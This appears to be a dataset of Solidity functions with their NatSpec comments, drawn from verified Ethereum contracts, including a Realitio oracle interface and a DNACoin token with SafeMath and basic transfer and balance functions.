emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
| /**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://6247b518a4ef15f39dd94441aa873d466456244d50b99efe8b727ff91b6e60ec | {
"func_code_index": [
2487,
2771
]
} | 531 |
|
DaoModule | contracts/interfaces/Realitio.sol | 0x33b821d1ba2bd4bc48693fdbe042668dd9c151ae | Solidity | Realitio | interface Realitio {
// mapping(bytes32 => Question) public questions;
/// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if there is no arbitrator-set question fee.
/// @dev This has the same function signature as askQuestion() in the non-ERC20 version, which is optionally payable.
/// @param template_id The ID number of the template the question will use
/// @param question A string containing the parameters that will be passed into the template to make the question
/// @param arbitrator The arbitration contract that will have the final word on the answer if there is a dispute
/// @param timeout How long the contract should wait after the answer is changed before finalizing on that answer
/// @param opening_ts If set, the earliest time it should be possible to answer the question.
/// @param nonce A user-specified nonce used in the question ID. Change it to repeat a question.
/// @return The ID of the newly-created question, created deterministically.
function askQuestion(
uint256 template_id, string calldata question, address arbitrator, uint32 timeout, uint32 opening_ts, uint256 nonce
) external returns (bytes32);
/// @notice Report whether the answer to the specified question is finalized
/// @param question_id The ID of the question
/// @return Return true if finalized
function isFinalized(bytes32 question_id) view external returns (bool);
/// @notice Return the final answer to the specified question, or revert if there isn't one
/// @param question_id The ID of the question
/// @return The answer formatted as a bytes32
function resultFor(bytes32 question_id) external view returns (bytes32);
/// @notice Returns the timestamp at which the question will be/was finalized
/// @param question_id The ID of the question
function getFinalizeTS(bytes32 question_id) external view returns (uint32);
/// @notice Returns whether the question is pending arbitration
/// @param question_id The ID of the question
function isPendingArbitration(bytes32 question_id) external view returns (bool);
/// @notice Create a reusable template, which should be a JSON document.
/// Placeholders should use gettext() syntax, eg %s.
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @param content The template content
/// @return The ID of the newly-created template, which is created sequentially.
function createTemplate(string calldata content) external returns (uint256);
/// @notice Returns the highest bond posted so far for a question
/// @param question_id The ID of the question
function getBond(bytes32 question_id) external view returns (uint256);
/// @notice Returns the questions's content hash, identifying the question content
/// @param question_id The ID of the question
function getContentHash(bytes32 question_id) external view returns (bytes32);
} | askQuestion | function askQuestion(
uint256 template_id, string calldata question, address arbitrator, uint32 timeout, uint32 opening_ts, uint256 nonce
) external returns (bytes32);
| /// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if there is no arbitrator-set question fee.
/// @dev This has the same function signature as askQuestion() in the non-ERC20 version, which is optionally payable.
/// @param template_id The ID number of the template the question will use
/// @param question A string containing the parameters that will be passed into the template to make the question
/// @param arbitrator The arbitration contract that will have the final word on the answer if there is a dispute
/// @param timeout How long the contract should wait after the answer is changed before finalizing on that answer
/// @param opening_ts If set, the earliest time it should be possible to answer the question.
/// @param nonce A user-specified nonce used in the question ID. Change it to repeat a question.
/// @return The ID of the newly-created question, created deterministically. | NatSpecSingleLine | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
1196,
1379
]
} | 532 |
||||
DaoModule | contracts/interfaces/Realitio.sol | 0x33b821d1ba2bd4bc48693fdbe042668dd9c151ae | Solidity | Realitio | interface Realitio {
// mapping(bytes32 => Question) public questions;
/// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if there is no arbitrator-set question fee.
/// @dev This has the same function signature as askQuestion() in the non-ERC20 version, which is optionally payable.
/// @param template_id The ID number of the template the question will use
/// @param question A string containing the parameters that will be passed into the template to make the question
/// @param arbitrator The arbitration contract that will have the final word on the answer if there is a dispute
/// @param timeout How long the contract should wait after the answer is changed before finalizing on that answer
/// @param opening_ts If set, the earliest time it should be possible to answer the question.
/// @param nonce A user-specified nonce used in the question ID. Change it to repeat a question.
/// @return The ID of the newly-created question, created deterministically.
function askQuestion(
uint256 template_id, string calldata question, address arbitrator, uint32 timeout, uint32 opening_ts, uint256 nonce
) external returns (bytes32);
/// @notice Report whether the answer to the specified question is finalized
/// @param question_id The ID of the question
/// @return Return true if finalized
function isFinalized(bytes32 question_id) view external returns (bool);
/// @notice Return the final answer to the specified question, or revert if there isn't one
/// @param question_id The ID of the question
/// @return The answer formatted as a bytes32
function resultFor(bytes32 question_id) external view returns (bytes32);
/// @notice Returns the timestamp at which the question will be/was finalized
/// @param question_id The ID of the question
function getFinalizeTS(bytes32 question_id) external view returns (uint32);
/// @notice Returns whether the question is pending arbitration
/// @param question_id The ID of the question
function isPendingArbitration(bytes32 question_id) external view returns (bool);
/// @notice Create a reusable template, which should be a JSON document.
/// Placeholders should use gettext() syntax, eg %s.
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @param content The template content
/// @return The ID of the newly-created template, which is created sequentially.
function createTemplate(string calldata content) external returns (uint256);
/// @notice Returns the highest bond posted so far for a question
/// @param question_id The ID of the question
function getBond(bytes32 question_id) external view returns (uint256);
/// @notice Returns the questions's content hash, identifying the question content
/// @param question_id The ID of the question
function getContentHash(bytes32 question_id) external view returns (bytes32);
} | isFinalized | function isFinalized(bytes32 question_id) view external returns (bool);
| /// @notice Report whether the answer to the specified question is finalized
/// @param question_id The ID of the question
/// @return Return true if finalized | NatSpecSingleLine | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
1553,
1628
]
} | 533 |
||||
DaoModule | contracts/interfaces/Realitio.sol | 0x33b821d1ba2bd4bc48693fdbe042668dd9c151ae | Solidity | Realitio | interface Realitio {
// mapping(bytes32 => Question) public questions;
/// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if there is no arbitrator-set question fee.
/// @dev This has the same function signature as askQuestion() in the non-ERC20 version, which is optionally payable.
/// @param template_id The ID number of the template the question will use
/// @param question A string containing the parameters that will be passed into the template to make the question
/// @param arbitrator The arbitration contract that will have the final word on the answer if there is a dispute
/// @param timeout How long the contract should wait after the answer is changed before finalizing on that answer
/// @param opening_ts If set, the earliest time it should be possible to answer the question.
/// @param nonce A user-specified nonce used in the question ID. Change it to repeat a question.
/// @return The ID of the newly-created question, created deterministically.
function askQuestion(
uint256 template_id, string calldata question, address arbitrator, uint32 timeout, uint32 opening_ts, uint256 nonce
) external returns (bytes32);
/// @notice Report whether the answer to the specified question is finalized
/// @param question_id The ID of the question
/// @return Return true if finalized
function isFinalized(bytes32 question_id) view external returns (bool);
/// @notice Return the final answer to the specified question, or revert if there isn't one
/// @param question_id The ID of the question
/// @return The answer formatted as a bytes32
function resultFor(bytes32 question_id) external view returns (bytes32);
/// @notice Returns the timestamp at which the question will be/was finalized
/// @param question_id The ID of the question
function getFinalizeTS(bytes32 question_id) external view returns (uint32);
/// @notice Returns whether the question is pending arbitration
/// @param question_id The ID of the question
function isPendingArbitration(bytes32 question_id) external view returns (bool);
/// @notice Create a reusable template, which should be a JSON document.
/// Placeholders should use gettext() syntax, eg %s.
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @param content The template content
/// @return The ID of the newly-created template, which is created sequentially.
function createTemplate(string calldata content) external returns (uint256);
/// @notice Returns the highest bond posted so far for a question
/// @param question_id The ID of the question
function getBond(bytes32 question_id) external view returns (uint256);
/// @notice Returns the questions's content hash, identifying the question content
/// @param question_id The ID of the question
function getContentHash(bytes32 question_id) external view returns (bytes32);
} | resultFor | function resultFor(bytes32 question_id) external view returns (bytes32);
| /// @notice Return the final answer to the specified question, or revert if there isn't one
/// @param question_id The ID of the question
/// @return The answer formatted as a bytes32 | NatSpecSingleLine | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
1826,
1902
]
} | 534 |
||||
DaoModule | contracts/interfaces/Realitio.sol | 0x33b821d1ba2bd4bc48693fdbe042668dd9c151ae | Solidity | Realitio | interface Realitio {
// mapping(bytes32 => Question) public questions;
/// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if there is no arbitrator-set question fee.
/// @dev This has the same function signature as askQuestion() in the non-ERC20 version, which is optionally payable.
/// @param template_id The ID number of the template the question will use
/// @param question A string containing the parameters that will be passed into the template to make the question
/// @param arbitrator The arbitration contract that will have the final word on the answer if there is a dispute
/// @param timeout How long the contract should wait after the answer is changed before finalizing on that answer
/// @param opening_ts If set, the earliest time it should be possible to answer the question.
/// @param nonce A user-specified nonce used in the question ID. Change it to repeat a question.
/// @return The ID of the newly-created question, created deterministically.
function askQuestion(
uint256 template_id, string calldata question, address arbitrator, uint32 timeout, uint32 opening_ts, uint256 nonce
) external returns (bytes32);
/// @notice Report whether the answer to the specified question is finalized
/// @param question_id The ID of the question
/// @return Return true if finalized
function isFinalized(bytes32 question_id) view external returns (bool);
/// @notice Return the final answer to the specified question, or revert if there isn't one
/// @param question_id The ID of the question
/// @return The answer formatted as a bytes32
function resultFor(bytes32 question_id) external view returns (bytes32);
/// @notice Returns the timestamp at which the question will be/was finalized
/// @param question_id The ID of the question
function getFinalizeTS(bytes32 question_id) external view returns (uint32);
/// @notice Returns whether the question is pending arbitration
/// @param question_id The ID of the question
function isPendingArbitration(bytes32 question_id) external view returns (bool);
/// @notice Create a reusable template, which should be a JSON document.
/// Placeholders should use gettext() syntax, eg %s.
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @param content The template content
/// @return The ID of the newly-created template, which is created sequentially.
function createTemplate(string calldata content) external returns (uint256);
/// @notice Returns the highest bond posted so far for a question
/// @param question_id The ID of the question
function getBond(bytes32 question_id) external view returns (uint256);
/// @notice Returns the questions's content hash, identifying the question content
/// @param question_id The ID of the question
function getContentHash(bytes32 question_id) external view returns (bytes32);
} | getFinalizeTS | function getFinalizeTS(bytes32 question_id) external view returns (uint32);
| /// @notice Returns the timestamp at which the question will be/was finalized
/// @param question_id The ID of the question | NatSpecSingleLine | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
2037,
2116
]
} | 535 |
||||
DaoModule | contracts/interfaces/Realitio.sol | 0x33b821d1ba2bd4bc48693fdbe042668dd9c151ae | Solidity | Realitio | interface Realitio {
// mapping(bytes32 => Question) public questions;
/// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if there is no arbitrator-set question fee.
/// @dev This has the same function signature as askQuestion() in the non-ERC20 version, which is optionally payable.
/// @param template_id The ID number of the template the question will use
/// @param question A string containing the parameters that will be passed into the template to make the question
/// @param arbitrator The arbitration contract that will have the final word on the answer if there is a dispute
/// @param timeout How long the contract should wait after the answer is changed before finalizing on that answer
/// @param opening_ts If set, the earliest time it should be possible to answer the question.
/// @param nonce A user-specified nonce used in the question ID. Change it to repeat a question.
/// @return The ID of the newly-created question, created deterministically.
function askQuestion(
uint256 template_id, string calldata question, address arbitrator, uint32 timeout, uint32 opening_ts, uint256 nonce
) external returns (bytes32);
/// @notice Report whether the answer to the specified question is finalized
/// @param question_id The ID of the question
/// @return Return true if finalized
function isFinalized(bytes32 question_id) view external returns (bool);
/// @notice Return the final answer to the specified question, or revert if there isn't one
/// @param question_id The ID of the question
/// @return The answer formatted as a bytes32
function resultFor(bytes32 question_id) external view returns (bytes32);
/// @notice Returns the timestamp at which the question will be/was finalized
/// @param question_id The ID of the question
function getFinalizeTS(bytes32 question_id) external view returns (uint32);
/// @notice Returns whether the question is pending arbitration
/// @param question_id The ID of the question
function isPendingArbitration(bytes32 question_id) external view returns (bool);
/// @notice Create a reusable template, which should be a JSON document.
/// Placeholders should use gettext() syntax, eg %s.
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @param content The template content
/// @return The ID of the newly-created template, which is created sequentially.
function createTemplate(string calldata content) external returns (uint256);
/// @notice Returns the highest bond posted so far for a question
/// @param question_id The ID of the question
function getBond(bytes32 question_id) external view returns (uint256);
/// @notice Returns the questions's content hash, identifying the question content
/// @param question_id The ID of the question
function getContentHash(bytes32 question_id) external view returns (bytes32);
} | isPendingArbitration | function isPendingArbitration(bytes32 question_id) external view returns (bool);
| /// @notice Returns whether the question is pending arbitration
/// @param question_id The ID of the question | NatSpecSingleLine | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
2237,
2321
]
} | 536 |
||||
DaoModule | contracts/interfaces/Realitio.sol | 0x33b821d1ba2bd4bc48693fdbe042668dd9c151ae | Solidity | Realitio | interface Realitio {
// mapping(bytes32 => Question) public questions;
/// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if there is no arbitrator-set question fee.
/// @dev This has the same function signature as askQuestion() in the non-ERC20 version, which is optionally payable.
/// @param template_id The ID number of the template the question will use
/// @param question A string containing the parameters that will be passed into the template to make the question
/// @param arbitrator The arbitration contract that will have the final word on the answer if there is a dispute
/// @param timeout How long the contract should wait after the answer is changed before finalizing on that answer
/// @param opening_ts If set, the earliest time it should be possible to answer the question.
/// @param nonce A user-specified nonce used in the question ID. Change it to repeat a question.
/// @return The ID of the newly-created question, created deterministically.
function askQuestion(
uint256 template_id, string calldata question, address arbitrator, uint32 timeout, uint32 opening_ts, uint256 nonce
) external returns (bytes32);
/// @notice Report whether the answer to the specified question is finalized
/// @param question_id The ID of the question
/// @return Return true if finalized
function isFinalized(bytes32 question_id) view external returns (bool);
/// @notice Return the final answer to the specified question, or revert if there isn't one
/// @param question_id The ID of the question
/// @return The answer formatted as a bytes32
function resultFor(bytes32 question_id) external view returns (bytes32);
/// @notice Returns the timestamp at which the question will be/was finalized
/// @param question_id The ID of the question
function getFinalizeTS(bytes32 question_id) external view returns (uint32);
/// @notice Returns whether the question is pending arbitration
/// @param question_id The ID of the question
function isPendingArbitration(bytes32 question_id) external view returns (bool);
/// @notice Create a reusable template, which should be a JSON document.
/// Placeholders should use gettext() syntax, eg %s.
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @param content The template content
/// @return The ID of the newly-created template, which is created sequentially.
function createTemplate(string calldata content) external returns (uint256);
/// @notice Returns the highest bond posted so far for a question
/// @param question_id The ID of the question
function getBond(bytes32 question_id) external view returns (uint256);
/// @notice Returns the questions's content hash, identifying the question content
/// @param question_id The ID of the question
function getContentHash(bytes32 question_id) external view returns (bytes32);
} | createTemplate | function createTemplate(string calldata content) external returns (uint256);
| /// @notice Create a reusable template, which should be a JSON document.
/// Placeholders should use gettext() syntax, eg %s.
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @param content The template content
/// @return The ID of the newly-created template, which is created sequentially. | NatSpecSingleLine | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
2697,
2777
]
} | 537 |
||||
DaoModule | contracts/interfaces/Realitio.sol | 0x33b821d1ba2bd4bc48693fdbe042668dd9c151ae | Solidity | Realitio | interface Realitio {
// mapping(bytes32 => Question) public questions;
/// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if there is no arbitrator-set question fee.
/// @dev This has the same function signature as askQuestion() in the non-ERC20 version, which is optionally payable.
/// @param template_id The ID number of the template the question will use
/// @param question A string containing the parameters that will be passed into the template to make the question
/// @param arbitrator The arbitration contract that will have the final word on the answer if there is a dispute
/// @param timeout How long the contract should wait after the answer is changed before finalizing on that answer
/// @param opening_ts If set, the earliest time it should be possible to answer the question.
/// @param nonce A user-specified nonce used in the question ID. Change it to repeat a question.
/// @return The ID of the newly-created question, created deterministically.
function askQuestion(
uint256 template_id, string calldata question, address arbitrator, uint32 timeout, uint32 opening_ts, uint256 nonce
) external returns (bytes32);
/// @notice Report whether the answer to the specified question is finalized
/// @param question_id The ID of the question
/// @return Return true if finalized
function isFinalized(bytes32 question_id) view external returns (bool);
/// @notice Return the final answer to the specified question, or revert if there isn't one
/// @param question_id The ID of the question
/// @return The answer formatted as a bytes32
function resultFor(bytes32 question_id) external view returns (bytes32);
/// @notice Returns the timestamp at which the question will be/was finalized
/// @param question_id The ID of the question
function getFinalizeTS(bytes32 question_id) external view returns (uint32);
/// @notice Returns whether the question is pending arbitration
/// @param question_id The ID of the question
function isPendingArbitration(bytes32 question_id) external view returns (bool);
/// @notice Create a reusable template, which should be a JSON document.
/// Placeholders should use gettext() syntax, eg %s.
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @param content The template content
/// @return The ID of the newly-created template, which is created sequentially.
function createTemplate(string calldata content) external returns (uint256);
/// @notice Returns the highest bond posted so far for a question
/// @param question_id The ID of the question
function getBond(bytes32 question_id) external view returns (uint256);
/// @notice Returns the questions's content hash, identifying the question content
/// @param question_id The ID of the question
function getContentHash(bytes32 question_id) external view returns (bytes32);
} | getBond | function getBond(bytes32 question_id) external view returns (uint256);
| /// @notice Returns the highest bond posted so far for a question
/// @param question_id The ID of the question | NatSpecSingleLine | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
2900,
2974
]
} | 538 |
||||
DaoModule | contracts/interfaces/Realitio.sol | 0x33b821d1ba2bd4bc48693fdbe042668dd9c151ae | Solidity | Realitio | interface Realitio {
// mapping(bytes32 => Question) public questions;
/// @notice Ask a new question without a bounty and return the ID
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @dev Calling without the token param will only work if there is no arbitrator-set question fee.
/// @dev This has the same function signature as askQuestion() in the non-ERC20 version, which is optionally payable.
/// @param template_id The ID number of the template the question will use
/// @param question A string containing the parameters that will be passed into the template to make the question
/// @param arbitrator The arbitration contract that will have the final word on the answer if there is a dispute
/// @param timeout How long the contract should wait after the answer is changed before finalizing on that answer
/// @param opening_ts If set, the earliest time it should be possible to answer the question.
/// @param nonce A user-specified nonce used in the question ID. Change it to repeat a question.
/// @return The ID of the newly-created question, created deterministically.
function askQuestion(
uint256 template_id, string calldata question, address arbitrator, uint32 timeout, uint32 opening_ts, uint256 nonce
) external returns (bytes32);
/// @notice Report whether the answer to the specified question is finalized
/// @param question_id The ID of the question
/// @return Return true if finalized
function isFinalized(bytes32 question_id) view external returns (bool);
/// @notice Return the final answer to the specified question, or revert if there isn't one
/// @param question_id The ID of the question
/// @return The answer formatted as a bytes32
function resultFor(bytes32 question_id) external view returns (bytes32);
/// @notice Returns the timestamp at which the question will be/was finalized
/// @param question_id The ID of the question
function getFinalizeTS(bytes32 question_id) external view returns (uint32);
/// @notice Returns whether the question is pending arbitration
/// @param question_id The ID of the question
function isPendingArbitration(bytes32 question_id) external view returns (bool);
/// @notice Create a reusable template, which should be a JSON document.
/// Placeholders should use gettext() syntax, eg %s.
/// @dev Template data is only stored in the event logs, but its block number is kept in contract storage.
/// @param content The template content
/// @return The ID of the newly-created template, which is created sequentially.
function createTemplate(string calldata content) external returns (uint256);
/// @notice Returns the highest bond posted so far for a question
/// @param question_id The ID of the question
function getBond(bytes32 question_id) external view returns (uint256);
/// @notice Returns the questions's content hash, identifying the question content
/// @param question_id The ID of the question
function getContentHash(bytes32 question_id) external view returns (bytes32);
} | getContentHash | function getContentHash(bytes32 question_id) external view returns (bytes32);
| /// @notice Returns the questions's content hash, identifying the question content
/// @param question_id The ID of the question | NatSpecSingleLine | v0.8.0+commit.c7dfd78e | {
"func_code_index": [
3114,
3195
]
} | 539 |
||||
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
| /**
* @dev Multiplies two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
89,
272
]
} | 540 |
|
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Integer division of two numbers, truncating the quotient.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
356,
629
]
} | 541 |
|
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
| /**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
744,
860
]
} | 542 |
|
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
| /**
* @dev Adds two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
924,
1060
]
} | 543 |
|
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
} | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() public view returns (uint256) {
return totalSupply_;
}
| /**
* @dev total number of tokens in existence
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
199,
287
]
} | 544 |
|
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
} | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | transfer | function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
| /**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
445,
836
]
} | 545 |
|
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
} | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
| /**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
1042,
1154
]
} | 546 |
|
